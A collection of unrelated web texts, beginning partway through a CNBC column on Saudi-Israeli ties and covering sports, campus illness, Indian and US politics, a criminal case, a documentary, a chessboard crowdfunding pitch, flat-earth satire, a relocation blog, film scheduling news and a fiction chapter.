engaged in an alliance with the U.S. Saddam Hussein, for example, tried to destroy the coalition against him in the first Gulf War by launching Scud missiles at Tel Aviv in 1991. That effort failed, but it was one of the most serious challenges to the war. The George H.W. Bush administration fought hard to keep Israel out of the war to preserve the loose Arab coalition against Iraq.  Now, Saudi Arabia has gone many steps further than just hoping to keep Israel on the back burner. This newspaper interview is tantamount to openly flaunting a growing partnership against Iran.  The Saudis, long the biggest bank in the Middle East and the controlling force behind OPEC, are making it clearer than ever that it's okay to partner with Israel. On its face, that's a peaceful and modernizing move. Hopefully, it will endure and yield dividends long beyond the current political climate.  But as anyone who knows the history of the region will tell you, right now the growing ties between the Saudis and Israelis could be an ominous sign that war is coming.  Commentary by Jake Novak, CNBC.com senior columnist. Follow him on Twitter @jakejakeny.  For more insight from CNBC contributors, follow @CNBCopinion on Twitter.
-Despite interest from six squads, Spaniard says there is no price tag for the unconditional support his team has given  Alberto Contador will likely return to Saxo Bank and target the Vuelta a España when his racing ban ends in August.  Breaking his media silence Monday, Contador spoke at length on Spanish radio about his controversial clenbuterol case that resulted in disqualification from the overall wins at the 2010 Tour de France and the 2011 Giro d’Italia, among other results.  Contador is officially off the Saxo Bank team, but he said that returning to Bjarne Riis’ team was his preference despite offers from six major teams.  “I feel blessed, considering the situation that I find myself, in that there have been a lot of high-level teams who have been in contact with my brother (his agent, Fran). Six, among them Movistar,” Contador told Cadena Cope. “Without a doubt, returning to Saxo Bank is my first choice. They did something that no other team would be capable of doing; they supported me unconditionally, from the manager to the sponsor… There are better financial offers, but unconditional support has no price.”  Contador’s ban ends in early August and the Spanish climber said he was planning to jump back into the action at the first possible moment.  He will likely race the Eneco Tour and the Clásica San Sebastián before starting the Vuelta a España in mid-August. He also hopes to be selected for the world championships in the Netherlands.  “For the first time I can confirm I will race the Vuelta,” Contador said. “The Vuelta means a lot to me, I am super motivated. I will arrive to the race with fresh legs.”  Contador won the 2008 Vuelta, but said there is no guarantee he will be able to win again, especially following a six-month forced stop due to his racing ban.  “Cycling is not like math. A lot of factors come into play and anything can happen,” he said. “I am working hard, sacrificing more than ever and trying to get through this period in the best way possible. … I made some tests and I had the best results ever.”  Contador also spoke at length about his controversial clenbuterol case.  “They have done a lot of damage to me. It’s difficult to forget, but life goes on and I have to put this to one side. It’s been a hard past few months. I would never wish what I have been through the past two years on my worse enemy,” he said. “I never opened the newspaper, Internet banned, I wanted to push it off to one side and stay concentrated on my bike.”  Contador also reiterated his argument that he is not guilty of doping, saying that the decision by the Court of Arbitration for Sport to uphold his adverse test from the 2010 Tour’s second rest day is “proof that sport justice does not work.”  “It’s still difficult to understand that all this happened, above all because I consider myself 100 percent committed to the anti-doping struggle,” he said. “I have always been extremely careful about everything I’ve done, recognizing that I am an example to many people… There were moments when I felt like giving up. It was desperate. When you do everything possible, working three times as hard as you work to win a Tour, a Giro or a Vuelta, to demonstrate my innocence, to defend your honor, and then in the end they give you a two-year ban, well, sometimes you just want to give up.”
-More than 70 Humber College students at a campus residence fell ill Thursday night with some type of gastrointestinal illness, but the cause of the sudden outbreak remains unknown.  The students all live at the one residence on the north campus at Highway 27 and Finch, and started reporting feeling ill late in the afternoon, according to Andrew Leopold, director of communications.  More students fell ill as the evening wore on, he told CBC Toronto early Friday morning.  The school's dean of students later told reporters that of the 77 students in total who got sick, 30 were taken to hospital.  "All students who were transported were treated and released and returned to residence throughout the night," Jen McMillen told reporters outside the school.  Toronto Public Health investigating  The students were all suffering from symptoms like vomiting and abdominal pain, she said. Some of the school staff members who were helping students at the residence through the night have also developed the symptoms, according to McMillen.  More than 70 Humber College students at a campus residence fell ill Thursday night with some type of gastrointestinal illness, but the cause of the sudden outbreak remains unknown. 0:24  The source of the illness has not yet been determined, she said when asked whether food poisoning may be to blame. To her knowledge, food was still being served on campus.  The school notified Toronto Public Health (TPH), McMillen said. The city agency focused on food poisoning when addressing CBC's questions on Friday.  Dr. Michael Finkelstein, associate medical officer of health, said TPH has opened an investigation, which includes speaking to officials at the hospital where students were treated, as well as health-care personnel at the school.  "TPH will be reaching out to the students who reported that they were ill today to gather more information such as where they ate and what food they ate before they became ill and if they attended any specific functions where food was served before they became ill," Finkelstein said in a statement provided to CBC.  'Nobody wants to come out of their rooms'  Students who were outside the residence Friday described the atmosphere in the building.  "Nobody wants to come out of their rooms," Duncan Lotoski told CBC.  Lotoski was in bed around 9:30 p.m. ET when he noticed flashing lights through his window. When he looked out, he saw a number of ambulances.  "Then you hear supervisors in the halls handing out masks saying, 'Wash your hands, wash your hands,'" he said. "I just stayed in my room for the rest of the night."  Jazz McClean said friends who have fallen ill are convinced they got food poisoning.  "It was wild," he said of what it was like inside the residence building overnight. "There were people on the floor."  Meanwhile, classes and other services on campus were not affected on Friday, McMillen said.  Students are being instructed to rest, drink lots of fluids and to "practice good hygiene," she said.
-Two senior Republicans on the House and Senate Armed Services committees are incensed that the Pentagon granted a special one-time dispensation to troops allowing them to march in uniform in the San Diego Gay Pride Parade, The Hill reports:  Said Rep. Randy Forbes (R-VA) in a statement:  I am calling on the DoD to halt these dangerous exceptions to policy for political purposes. This decision was an outrageous and blatantly political determination issued solely to advance this Administration’s social agenda. Sadly, this is yet another violation in what has become a pattern of this Administration’s assault on the longstanding history of the Department of Defense as a nonpolitical organization.  Rep. James Inhofe (R-OK) is also incensed and wrote a letter to Defense Secretary Leon Panetta:  "If the Navy can punish a chaplain for participating in a pro-life event or a Marine participating in a political rally, it stands to reason that DOD should maintain the same standard and preclude service members in uniform from marching in a gay-pride parade. I respectfully request a detailed explanation of the rationale you used to grant this ‘one-time waiver’ of DOD policy, who requested the waiver, why this waiver was considered justified over other requests, and whether you are considering other exceptions to current policy.”  Watch troops discuss what marching in uniform meant to them HERE.
-Over the last several months, the BJP has been on the high horse. There it was, lending its voice to Anna Hazare's high-voltage campaign, marking attendance on his stage  at Jantar Mantar while Parliament was still in session. Before that, L.K. Advani had embarked on his own tourathon against corruption, raging against black money, targeting the UPA. More recently, before the Lokpal bill debate took over the House, the main opposition party stopped talking to the country's home minister, accusing him of involvement in the 2G scam. Through it all, the party's self-righteous tone has not wavered. But as recent developments in poll-bound Uttar Pradesh underline, there is a hole in the halo.  In UP, the BJP has just welcomed into its fold Babu Singh Kushwaha and Badshah Singh, former ministers in the Mayawati government, both sacked on graft charges. Kushwaha's sacking in particular was a high-profile event, given that the long-time Mayawati aide was seen to preside over the NRHM scam which was alleged to be the reason behind the murky saga of the murder of two CMOs and the death of  a deputy CMO. Whether or not Kushwaha makes it to the BJP's final list of candidates, the party has been tainted by his rehabilitation. To be sure, there is more bad news from UP and it involves other parties as well, from smaller players like Ajit Singh's RLD, which has just taken in the man who announced the Rs 51-crore bounty on the head of a Dutch cartoonist in 2006, to the SP which is reportedly debating the entry of history-sheeter D.P. Yadav. Yet there is something particularly ungainly about the picture of the BJP swallowing its own fiery rhetoric so soon after it raged on the Lokpal in Parliament.  The pre-poll musical chairs of the criminal and the corrupt in UP frames another truth: Team Anna, with its neat battlelines, has completely missed the point. Quite simply, corruption has no fixed address — or a one-stop solution. It will have to come in several shapes and sizes and it will demand commitment from "us" as well as "them".  ALSO READ Error and trial  Please read our terms of use before posting comments
-News4's Chris Lawrence has the latest in the search for missing U.Va. student Hannah Graham. (Published Friday, Sept. 26, 2014)  A man charged with abducting a missing University of Virginia second-year student waived extradition Thursday after being captured in Texas Wednesday, but there is still no sign of the student, authorities said.  The Lynchburg Commonwealth's Attorney's Office confirmed it investigated a sexual assault allegation against the suspect 12 years ago but didn't file charges.  Jesse Leroy Matthew Jr., 32, declined to challenge his return to Virginia in a very brief court hearing Thursday, where he did not look at the cameras or speak other than to acknowledge his signature to a Galveston County, Texas, judge. Charlottesville, Virginia, Police Chief Tim Longo said he expects Matthew to be back in Virginia later Thursday or Friday.  The 6-foot-2, 270-pound former college football player was captured less than a day after he was charged with abduction with intent to defile, or sexually molest, Hannah Graham, who went missing Sept. 13 in Charlottesville.  Earlier Thursday, Judge Mark Henry held Matthew without bond on a fugitive from justice count. Appearing via video link to hear the charges against him, Matthew, in a dark green jumpsuit with his hands cuffed, signed papers and refused a court-appointed attorney. He told Henry he wasn't out on bond on any other charges before his arrest.  Matthew appeared confused and asked the judge a few short questions. He expressed concern that his clothes were taken when he was booked into Galveston County jail. "I should be able to have some kind of clothing,'' he said.  Henry told him that his jumpsuit was sufficient and that his personal items would be returned later.  After the appearance, Henry told KPRC-TV that he expected Matthew would be extradited to Virginia within a day or two. But details on how or when he would be moved remained unclear.  MT @jacelarson: #Galveston co. has search warrant for car found w/ Jesse Mathew but waiting to execute until VA police arrive. #HannahGraham — David Culver (@David_Culver) September 25, 2014  Investigators from Charlottesville police, Virginia State Police and the Albemarle County Sheriff's Office arrived in Texas Friday. They are looking at Matthew's car for any possible evidence of Graham's whereabouts, Galveston's sheriff said. They may also try to interview Matthew in the county jail.  Matthew's attorney Jim Cablos said his client sounded "pretty good" when they spoke Wednesday night, adding "We are thankful and relieved that, um, Mr. Matthew is, um, safe."  Matthew was arrested Wednesday afternoon on a beach in the sparsely populated community of Gilchrist, police said. The capture came less than a full day after police announced they had probable cause to arrest Matthew in the case.  Police received a non-emergency call from a woman reporting a suspicious person, and responding Deputy Ross Perez found a man who had pitched a tent on the beach with his car parked nearby, Trochesset said. Matthew refused to give the officer identification, Trochesset said, but the car's plates revealed it was the vehicle sought in the case.  Police think the tent had been in the area a day or two, Trochesset said. Authorities were concerned Matthew may have been trying to flee to Mexico, a source told the Associated Press.  'We're Hopeful That We Will Find Hannah': Police Chief Says  Meanwhile, in Charlottesville, police say an intense search for Graham continues.  "This case is nowhere near over,'' Charlottesville Police Chief Tim Longo said at a news conference late Wednesday. "We have a person in custody, but there's a long road ahead of us and that long road includes finding Hannah Graham.''  The search is focusing on rural and wooded areas around Charlottesville, Longo said Thursday on NBC's "Today'' show.  "We're hopeful that we will find Hannah and return her to her parents," Longo said. "We're going to continue to have that hope until we find evidence of the contrary."  At a news conference Thursday afternoon, Longo asked for continued patience and assistance from the community.  "We have an obligation to bring her home one way or the other," he said.  Longo asked real estate agents to check any vacant properities. He also asked property owners to check any wildlife cameras they may have. He advised the public not to touch any possible evidence they may find but to call police immediately.  Police also are trying to find any contacts Matthew may have made on the route from Charlottesville to Texas.  Hannah's Last Known Whereabouts  According to authorities, Graham met friends at a restaurant for dinner Sept. 12 before stopping by two parties at off-campus housing units. Officials said she left the second party alone and sent a text message to a friend saying she was lost.  Surveillance videos showed her walking, and at some points running, past a pub and a service station and then onto the Downtown Mall, a seven-block pedestrian strip where police believe she entered Tempo Restaurant with Matthew. The video that has been publicly released does not show the two entering the bar together; instead, "witnesses place them in the bar together,'' Charlottesville Police spokeswoman Miriam I. Dickler said in an email.  The restaurant released its own statement Thursday, urging patrons to report anything they may have seen on Sept. 13.  "We do this in the hope that reviewing these details might help anyone who might have seen Hannah that night recall any information...that could help police," the statement read.  Who is Jesse Matthew?  Matthew had been employed at the University of Virginia Medical Center since Aug. 12, 2012, as a patient technician in the operating room, according to the university.  The charges against him surprised Dave Hansen, who first met him about 11 years ago when Hansen served as an assistant pastor at an area church.  "I always thought he was a gentle giant, just a nice guy,'' Hansen said. "He seemed genuine with his faith and spirituality...I don't see him doing this at all, but that's usually the case, I guess.''  Matthew attended Liberty University from 2000 to 2002, said officials with the Lynchburg school founded by the late Rev. Jerry Falwell. The school's athletics website listed him as a defensive lineman on the football team.  He was accused of a sexual assault on Liberty's campus in October 2002, but charges were never filed, according to Lynchburg's deputy commonwealth's attorney.  More recently, he served as a volunteer for the football team at The Covenant School, a private Christian pre-kindergarten through 12th-grade school in Charlottesville. Officials said his involvement began last month after interviews with the athletic director and football coach, as well as normal background and reference checks.  After Matthew was named a person of interest in Graham's disappearance, school officials said in a letter that he will "no longer be working with our football program while this matter is being clarified and resolved.''  While Matthew has had past brushes with the law, the details of those cases are not clear.  Online court records show Matthew was convicted of trespassing in 2010 but provide no details about the incident. Details also were unavailable for two other charges of assault and attempted grand larceny relating to a 2009 incident that were not prosecuted. Matthew, who had a taxi permit from the Virginia Department of Motor Vehicles from 2007 to 2010, also has several traffic infractions, records show.  Copyright Associated Press / NBC Southern California
-HYDE PARK — London-born filmmaker Will Robson-Scott wanted to explore the violence that plagues Chicago's South and West sides — so he went directly to the source.  “Chi Raq,” Robson-Scott's new documentary, features interviews with Chicago gang members and others who admit to both committing the violence as well as being victims themselves.  “I didn’t want the film to be about my views, I wanted the subjects who live or have grown up in Chicago to tell their stories and give them a voice,” Robson-Scott said. “Many people have asked if I was scared shooting, but to be honest the people in the West and South [sides] of Chicago were more friendly and accommodating than your average Londoner or New Yorker.”  Robson-Scott is primarily a photographer. "Chi Raq," shot in black and white, is similar in style to his earlier work chronicling the London grime music scene and also graffiti crews across the United Kingdom and Europe.  Now based out of New York, Robson-Scott said he was surprised with the level of candor he got from interview subjects in Woodlawn, Grand Boulevard, Englewood and other neighborhoods.  “I think being English helped, people seemed genuinely surprised I was there and I think they dropped their guard a bit,” Robson-Scott said. “Many peoples’ only reference to English people was Austin Powers or the Geico lizard — they were as interested in me as I was with them.”  The film points out that 4,265 people have been killed in Chicago since 2001, 2½ times the number killed in Afghanistan in that time. It opens with an interview with a gun-toting, joint-smoking apparent gang member as he drives through the streets of the city.  "Chicago was always a violent place, you know what I'm saying?" the man said. "As time goes on, it's just gotten more and more violent because the attitude changed to, now everybody don't give no f---. ... Ain't no leaders out here. Ain't nobody accountable for your actions."  Another man agrees that the lack of leaders led to a "systematic uproar," saying when "they took all the gang chiefs away, they took the structure."  The film doesn’t look for solutions, but instead provides the reasons for the violence from the viewpoint of those closest to it.  “The first thing I remember was being arrested when I was a shorty,” said another unnamed man in the movie who said he sold crack in his teens. “Once I became a part of the system, it f--- me up if you understand what I’m saying because it was in and out after that.”  The film is available online from Protein TV, an urban arts and culture journal based in New York and London, along with photos Robson-Scott shot while in Chicago.  “The reason for the violence are deep rooted in the community, but to be honest this is not strictly a Chicago issue, although it’s very bad in Chicago,” Robson-Scott said. “It’s an American issue.”
-Compatible with both Android and iOS (currently in beta) operating systems, Square Off is designed as a user-friendly app. It lets you interact with the board effortlessly; it just takes a click to begin the game.  It uses a compact 2 axis robotic arm with a magnetic head beneath the box to move the magnetic chess pieces. The AtMega 2560 chip with Bluetooth BLE ensures smooth communication with a smartphone, taking care of decrypting and execution. The most important thing is that it is programmed in a way so that the chess pieces don’t collide during automatic movements.  Live streaming mode: Tune into any match, worldwide. It also lets you record those matches and replay them, whenever you want.  Training mode: Play against the artificial intelligence of the board that can challenge you with 20 different difficulty levels.  Square Off mode: Challenge anybody, from anywhere in the world. You can either play board vs board or board vs app. The chess pieces shall move on their own, reflecting every move of your opponent.  But why an app? The idea is to keep the board button-free so that the users can enjoy the classic chess board experience. Be it selecting sides (black or white), difficulty levels, opening moves of computer, challenging friends, analyzing games, using the timer or chatting with the opponent (this feature is being worked upon), everything is controlled through the app.  Phone is connected to the board all the time via Bluetooth, allowing you to save an incomplete game. Also, it uses your phone’s Wi-Fi to connect to the internet and your phone’s processor to process the data and think of the next possible moves.  Currently, it works on Stockfish 7 which is one of the best open source chess engine and second engine is Cuckoo Chess, which is suitable for beginners. We plan to offer more chess engines in the future.  Additional Features:  Play against 20 different difficulty levels  Select opening moves with ease  Load and save an incomplete game  Membrane sensing technology to detect the location of pieces  Receive audio feedback during check, promotion, checkmate and for invalid moves (invalid moves, strictly not allowed)  Get all the instructions through the app, on your phone screen  In the year 2013, the Chairperson of National Association of Blind (NAB) got in touch with us to understand the feasibility of an idea. He wanted us to design a chessboard for visually impaired. It’s not possible for them to play chess on computers and smartphones. We, ourselves being board game lovers, simply dived in to explore the possibilities. We researched tirelessly to finally arrive at a design. But, we didn’t have any funds to bring it alive. That’s when an idea struck us.  We started participating in various technical paper presentations and national level tech competitions to earn the prize money, just to create the prototype. Gradually we gathered sufficient money to design our first prototype in 2014. And guess what? It worked.  The Chairman of NAB who was visually impaired himself, tested the prototype and loved playing on it. We showcased this prototype in many national exhibitions and got a great response. But, on 3rd October, 2014, for the first time we got an opportunity to present our prototype in front of an international audience in Maker Faire, Rome. This was the real turning point.  We received tremendous response, exhaustive feedback and we realised that the board has the potential to connect the entire world. So, the moment we returned, we were driven to work harder. We created 4 more prototypes and visited several events to get as many feedback as possible. We are board game lovers, but not exactly pro chess players. That’s why it was necessary to find out what those features were that would excite a chess player? From the very beginning, we have been dedicated to bring alive the features requested by users. More opportunities flowed in.  Maker Faire - New York and Rome  We were invited to showcase the prototype at all the IITs in India, then MIT Boston FAB 11, Startup Istanbul and the Sharjah Chess Club. After 3 years of sustained efforts, finally our Beta product was ready in May, 2016. To test the product and gauge the response, we produced a small batch of Collector’s Edition Square Off boards and sold 20 specially created, highly premium boards within no time.  The struggle to create the manufacturing system  The next step was to work out the mechanics of a large scale production. The aim was clear, getting the best price without compromising on the quality of the board.  However, the challenge was to find a manufacturer that would offer an incredible combination of technology and luxury. Which means advanced software and hardware perfectly encased in a premium wooden surface. End of July 2016, we visited Shenzhen, China to explore the manufacturing possibilities. Shenzhen being an electronics hub of the world, we found the technical expertise. But, finding a dealer for wood wasn’t that easy.  After a lot of research and we fortunately stumbled upon a dealer who can supply us the desired quality of wood. And now we are all set to produce on a bigger scale to reach a larger number of people.  Your backing is of utmost importance to us. Your funding is what can help us undertake bulk orders through our suppliers, at best possible prices. So that we can direct the suppliers’ discounts, back to you. With your support we are aiming to raise 45000 euros to achieve the minimum order quantity, so that we can arrive at the most economical price point. More importantly, we need funds to bear the setup costs to kick-off production and deliver to as many chess lovers as possible. That’s not all. The certification, necessary paperwork and government approvals can be possible only when we have a strong backing.  Your support opens up the possibility to develop many more fun board games that people would love to play.  Chess is just the beginning. Our vision is to add a variety of board games like Checkers, Backgammon, Snakes & Ladder, etc. to build a highly connected board gaming platform.  All you would need to do is to upgrade the Square Off App, replace the top surface with another board game panel and you will be ready to play your preferred game with anybody in the world.  We will be glad to hear your suggestions on what board games would you like to see next, on Square Off. And, we are all ears for fun, innovative board game ideas too. So let your mind run wild and create an interesting board game. If the idea is entertaining enough, it can be the next game on our board.  Get in touch with us  If you have questions at any time, during or after the campaign, you can always reach us at contact@infivention.com or leave a comment on this page.  Our heartfelt gratitude goes out to the following people for helping us out throughout our journey
-Homer. Democritus. Anaxagoras. Three brilliant thinkers and writers, men who contributed to the development of classical Greek thought, and most importantly, men who believed the earth was flat. To their ranks, we can now add California resident Mike “Mad Mike” Hughes.  Seeking to free himself from the fetters of earthbound gravity, just as he has already freed his mind from the ironclad scientific evidence the world is round, Hughes is planning to launch himself into space on Saturday via a homemade rocket, The Washington Post reports. Hoping to reach a height of 1,800 feet—also roughly the nearest distance Hughes’ enlightened mind has come to human logic during this project—his scrap-metal rocket ship will propel him at 500 miles per hour for a mile-long journey. No word yet on whether fellow flat-earth truther BoB will be there to support him.  Advertisement  And this is only the first phase of Hughes’ ambitious multi-tiered project to disprove what centuries of scientific thought and outer-space travel have confirmed, repeatedly and with increasingly little effort. The 61-year-old limousine driver plans to subsequently follow up his doubtless successful Saturday flight with a drive several miles up into space, in order to photograph the flat disc that actually comprises our planet. With that, Hughes hopes to “shut the door on this ball earth” nonsense believed by the many unthinking sheep who simply accept what sound mathematics, as well as countless pieces of photographic and video evidence, have told them.  Hughes is actually a fairly recent convert to the truth of a flat earth, as he tells a fellow flat-earther in a recent fundraising interview for the project. He says he came to the realization the earth is flat about a year ago, following several months of “research,” which presumably involved reading up heavily on a variety of earth-related informative critical and investigative journalism sites, like NBA player Kyrie Irving’s Instagram feed. Once he gets proof, it will put a stop to the steady stream of Illuminati Freemason astronauts—including John Glenn and Neil Armstrong, Hughes assures us—who have pulled the veil of deception over our collective eyes.  Completely coincidentally, this conversion to horizontal honesty came around early 2016. This just so happened to be about the time Hughes’ previous Kickstarter campaign to raise funds for an Evel Knievel-style rocket flight to space—in which he didn’t say a word about flat earth or conspiracies—raised exactly $310 of his $150,000 goal. His post-conversion GoFundMe campaign, freed from Kickstarter’s insidious allegiance to ball-shaped ideologies of evil, managed to wring about $8,000 out of fellow flat-earthers, more than enough to explain his adding a coat of Rust-Oleum and “Research Flat Earth” imprinted on his homemade rocket.  Advertisement  While some might see his recent enlightenment (or “unlearning”) as an opportunistic cash grab, Hughes appears serious in his desire to disprove the actual model of our planet, just as serious as he is about needing additional funds to take the next step, should he survive Saturday’s attempt. (A previous shorter rocket flight of Hughes’ ended with him being pulled moaning from the wreckage, as seen in this video.) We here at The A.V. Club are rooting for a successful mission this weekend, if only so that our weekend news editor doesn’t end up having to make an extremely depressing addendum to this currently very entertaining story.
-Moving from London to Bristol – should we do it?  A month or so ago a reader got in touch to ask about our experiences of moving from London to Bristol. He asked for an honest pros and cons of moving – what’s better, what’s worse, how have we found the adjustment?  It’s around two years since my husband saw the house i’m sitting in. So, if you’re considering moving to Bristol from London, here’s my honest list of things to consider.  Firstly, if you’re lucky enough to be in a position to buy, either by selling your London home or just not having enough deposit to get on the ladder there, here’s the thing: Bristol property is still cheaper than London, but there are areas where it’s almost comparable, and the market is probably faster, or as fast. Houses and flats sell in hours. Open days and ‘best and final offers’, the nail-biting blind bids, are popular. It’s hard trying to view houses from a different city. I would suggest taking a mid-week holiday and viewing as many houses as you can. Be brutal, be on the estate agent’s backs like rats on cheese, and show willing. Property near good schools sells better than anything else.  The above is a few screenshots from RightMove of what’s available in some price brackets, big and small. If you’re selling a two bed in 1-6 in London, probably all of them are within your mortgage grasp though!  On the subject of schools – I’m afraid the situation here is as fevered, if not more, than it is in London. Research the ones you like the look of and speak to people about the admissions process. Secondary schools, for many, are more of an issue.  There is a big, big North/South divide in Bristol which people just don’t mention. It’s not a positive or negative thing, but it does exist. In very general terms, property is cheaper south of the river. BUT – this is changing fast because in the areas near to Temple Meads (Southville, Bedminster, Windmill Hill, Knowle, Totterdown) you can walk to the station, and when the track gets upgraded and you can get to London in just over an hour, well, that makes it more commutable than some parts of Surrey, for example. The traditional North Bristol areas for families (Cotham, Redland, Bishopston, Horfield etc) are not as close to the centre, but all easy to get to a centre office from. Public transport is ok, driving can be tough, there’s a lot of traffic in Bristol, it’s comparable to London for that.  Bristol is hilly, there’s no denying it. It makes for beautiful views, great skylines, and a lot of houses with steps up to the door, or steps into the garden. If you want a garden, don’t be fooled into thinking they are always bigger here. Some of the most pricey houses don’t have anything more than a courtyard. Strange but true. In terms of parking, you’ll be lucky to be able to park on your street, especially on terraced roads, although it’s better than London. There are some resident’s parking zones.  Bristol has ‘villages’ just like London. It has more green space and, drive in any direction for 20 minutes and you are in open countryside. You’re in Devon and Wales in an hour and Cornwall in two. You’re 2 hours from London by train and, actually, I regularly drive to central London and on a good day, you’re there in 2.5hrs tops. In other words, you can go back easily and tempt your friends to visit you quite easily too. Oh, and there’s an airport, so you can still go on holiday to most places in Europe – but you’ll need to go to London to fly to other continents.  (A great way to see Bristol is the Instagram hashtag #igersbristol)  Children’s services are good. You have a few hospital choices to give birth in. We don’t have as many children’s centres any more, due to cuts, but we have many, many more baby and child cafes, more available playgrounds (think having a few to choose from each week rather than just the one nearest your house). I’ve not had a problem finding an NHS doctor or dentist, and both are good. We’ve got everything London has which you might currently think of as being unique: a carnival (St Pauls), a natural history museum, a science museum, many outdoor music festivals, a big waterside scene with many things to do, musicals, theatre, etc. There’s a big focus on food, and coffee, and drinks here.  What do I miss? The tube. The Evening Standard. Everything else I miss is just memories of life pre-children – nights out, Soho on a Friday night, The City on a deserted Sunday, dodgy Stockwell nightclubs, beers after work on hot pavements wearing a bad skirt suit, dodgy taxis, all-day hangovers, packed parks, the noise of trains.  Why did we move? We had jobs to come to, we wanted to buy a house, not a flat, we wanted to be away from the pressure of the home counties young family scene, and nearer our favourite coastal counties. The shorter commute means Tibbs sees her father most evenings, which is a huge deal for both of them. Personally, I wanted any kids we have to grow up wanting to go down to London when they’re ready, like I did, and get the most out of it, rather than grow up in it and be underwhelmed by anywhere else, or worse still, live on the fringes of it and still not really experience it (personal opinions here, I realise this is not how it is for everybody!).  Bristol is a great alternative to London for raising a family. There are of course others (am biased but Manchester is wonderful too).  If anyone else has any advice for people considering the move, please do leave a comment.  (Visited 15,369 times, 1 visits today)
-0  For a film that was set to anchor 20th Century Fox’s post-Wolverine Marvel slate, Gambit is off to a bit of a rough start. First there were rumors that the film’s star Channing Tatum would walk away from the project over budget disputes. Shortly after, director Rupert Wyatt (Rise of the Planet of the Apes) had to drop out of the film due thanks to consistently pushed start dates that eventually brought him into conflict with prior commitments. Fox scored a coup when they landed Edge of Tomorrow director Doug Liman to take over at the helm, but with the October 2016 release date fast approaching, and production slated to begin in March, it seemed an impossible feat for any director to have a large-scale superhero film ready in such a short window. Today, Fox announced that Gambit has been given some breathing room as the studio has pulled the film’s 2016 release and dated two addition unnamed Marvel films.  Gambit will no longer arrive in theaters on it’s planned October 7th release date, and while a new release date has not been announced, Fox has slated two mystery Marvel projects  for October 6, 2017, and January 12, 2018. The first film will face off against Andy Serkis‘ The Jungle Book: Origins, while the second will be pitted against Denis Villeneuve’s Blade Runner sequel.  The October 6 date falls a year after Gambit’s intended release, and it’s possible that Fox has given Liman and Tatum the breathing (and schedule) room they need to make the film, especially considering its lead actor’s busy schedule. Tatum recently signed on for an R-rated musical comedy with Joseph Gordon-Levitt and is also set to reprise his role as Jenko in 23 Jump Street, though neither film currently has a release date. It’s also likely that the success of Deadpool has taken some of the weight of urgency off the film’s shoulders, as the studio is no longer scrambling to find a household name to lead their next gen of their mutant franchise.  As for that second date, a peculiar one indeed given that January is often considered a dumping ground month and definitely not a home for major studio releases. However, given Deadpool‘s unprecedented February success (Disney’s record-shattering December release for Star Wars, for that matter), and the serious crowding of superhero films on the docket as we near the end of the decade, it makes sense that studios will lean toward a year-round tentpole schedule. That said, the odds are that this date either belongs to the X-Force film, which Ryan Reynolds recently called a “priority”, or more likely, the already-ordered Deadpool 2, which writers Rhett Reese and Paul Wernick are currently writing. And then, of course, there’s the possibility that these dates belong to none of these things and Fox is going to totally blow our minds.  What do you guys think? How do you see Fox’s schedule shaking down? Sad to see Gambit pushed, or were you expecting as much given the insanely short slated production timeline? Sound off in the comments below.
-Prior Chapter Next Chapter  Chores went by quickly with so many things racing through my head. In what seemed like no time at all, a single horn blow called us to the house for dinner a little before sundown. I finished penning my swine and walked quickly to the house, washing my hands before helping Ma move food from the kitchen to the table.  Dinner was quiet that night, nobody was talking except to ask to pass the potatoes or the salt, or whatever else was out of polite reaching distance. There were a lot of looks my way. Abe and Molly ended up needing to be separated at the table, with Ma swapping places with Molly. They still tried to poke and prod at each other behind Ma’s back, but they weren’t squabbling verbally, and Ma seemed happy with that. She only went into discipline mode once, grabbing Abe’s ear when he poked in Molly’s direction with a table knife. Behind Ma’s back. Yes, I believe in extra sensory perception in mothers. Watching Ma deal with Abe and Molly for the last few years made me a believer. I suspected that I was too irritated by her always knowing when I was doing something wrong when I was growing up to actually recognize it as being uncanny. She always claimed it was just situational awareness.  When the meal was nearly finished, I decided that if nobody else was talking, I needed to. “I don’t want to go to town tomorrow with nothing but myself. I will be taking my culls. Does anyone need me to take anything to town, or bring anything back? I’ll be taking one of the small carts, but will take the large cart instead if there’s something big that needs to be moved.”  Zeke looked at me for a second with a puzzled look. “Don’t you want to fatten them up for a little while on the locusts and forest mast? It’s a bit early for good forest mast, but there’s some out there, the locusts didn’t do a lot of damage to the forests.”  Pa looked at Zeke sharply but I spoke before Pa could. “I’d like to, Zeke, but I don’t know when I’ll have to go.” I shrugged.  Zeke winced. “Sorry, I spoke too quickly.”  “Besides,” I continued, “with my culls gone, there will be fewer swine to eat the locusts, hay, and mangels, and more mast in the woods.” I shrugged. I didn’t need to explain how risky a late planting was. This early we’d definitely get something, but it might not be much.  Zeke nodded. “Understood.” He looked at me for a second. “I would suggest you try to sell to the marina before the butcher. The butcher will not be as interested in fattening our swine on offal from other butchering as he will for a farm pig. They grow a lot faster on fewer calories per kilo. The marina would rather deal with smaller animals, and if you sell them leash-trained culls, the marina master’s children can take the swine up and down the coast for washed up edibles every day on top of the fish offal.”  I had planned to take the swine to the marina first anyway, for most of the reasons Zeke had provided, but I nodded anyway. “Thanks, Zeke, I’ll do that.” Out of the corner of my eye, I saw Granpa and Pa and Edward all nodding with small motions, agreeing with Zeke in their own minds.  Pa spoke. “Is anyone aware of critical needs? If not, I’m going to say that we save barter and fisc until after taxes.” Pa looked around the table, from person to person, even Abe and Molly, who could tell by Pa’s face that it wasn’t time to joke. Jan spoke up hesitantly. “I think I have enough bedding and cloth for swaddling and diapers for junior here,” she patted her slightly rounded-out belly, “but I may need more. I’ll check. It’s no rush though.” She looked at Ma.  Ma smiled. “We’ll figure it out. We’ve got some rags packed away that are big enough for swaddling and diapers, and I know I’ve got plenty of quilting rags. Worst case, the longer we wait, the more our food will be worth, in exchange for cloth.” Her mouth twisted a bit. “I don’t like holding food over people’s heads to get better prices, but taxes are going to be bad this year.”  There were nods around the table, I was one of the ones nodding. Abe and Molly were clearly clueless, but nodded anyway, looking around and trying to figure out what everyone was agreeing about.  Edward cleared his throat. “Sorry to bring this up, but the state is certainly going to pay you in fisc in the militia, Allen. You had best open a bank account in town for yourself tomorrow while you are there.”  I hadn’t thought about that. “Thanks Edward, that’s a good idea. I’ll need to set it up so that Marza…” As I said Marza’s name, I stopped moving and speaking with my mouth still open, thinking to myself, Marza is also fifteen, the only fifteen-year-old on the Gonzalez farm.  Granpa tapped his wooden food knife on the worn wooden plate in front of him. “No. I can tell you right now that what you are thinking will not happen. Riko will not let Marza be their farm’s militia representative. One of the other men on their farm will go.”  “Are you…”  “I’m more than certain.” Granpa broke in. “Riko will absolutely not allow it. I know him. Trust me.” He caught my eye and chuckled. “Or don’t trust me, and be happy when you find out that I was right. I can live with that.”  